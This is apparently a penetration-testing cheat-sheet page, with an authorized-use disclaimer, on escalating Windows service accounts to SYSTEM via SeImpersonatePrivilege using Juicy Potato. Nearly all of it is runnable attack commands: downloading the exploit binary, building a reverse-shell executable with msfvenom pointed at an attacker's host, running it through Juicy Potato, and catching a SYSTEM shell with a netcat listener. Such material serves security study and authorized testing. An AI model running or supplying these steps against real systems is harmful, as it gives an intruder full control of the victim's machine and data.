Skip to content
Disclaimer: This material is provided for educational purposes and authorized security testing only. You are solely responsible for how you use the information. Do not use these techniques on systems without explicit permission from the owner. We do not encourage any kind of illegal or harmful activity

Introduction

Service accounts are often configured with SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
These allow an account to impersonate the access tokens of other users, including the SYSTEM user.

Important

Juicy Potato does not work on Windows 10 version 1809 or later, nor on Server 2019.
For Server 2016, Server 2019, and Windows 10 (1607 onwards), use PrintSpoofer.exe instead.

Exploiting privileges with Juicy Potato

Rotten Potato was a limited exploit. Juicy Potato improves on it by leveraging more CLSIDs and methods of exploitation.
(The following example uses Windows 7.)

  1. Verify that the current user has SeImpersonatePrivilege:
    whoami /priv

  2. Download JuicyPotato.exe from GitHub:
    curl -L -o JuicyPotato.exe https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

    Note: This binary is 64-bit. A 32-bit version is available here.

  3. Determine the OS version and build:
    systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

  4. Example: Windows 10 Professional, Build 10586 → Version 1511.
    Since 1511 < 1809, the machine is potentially vulnerable if not patched.

  5. Generate a reverse shell executable using msfvenom (or use nc.exe):
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP-ADDRESS] LPORT=1234 -a x64 --platform Windows -f exe -o shell.exe

  6. Transfer JuicyPotato.exe and shell.exe to the target (see File Transfer section for techniques).

  7. Test the exploit by redirecting output to a file:

    C:\Users\Public\Downloads\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\Users\Public\Downloads\output.txt" -t *

  8. Start a Netcat listener and execute the reverse shell via Juicy Potato:

    C:\Users\Public\Downloads\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Users\Public\Downloads\shell.exe" -t *

  9. If successful, you’ll receive a SYSTEM shell on the listener:
    sudo rlwrap -cAr nc -lvnp 1234

Impersonating the LOCAL SYSTEM account with PrintSpoofer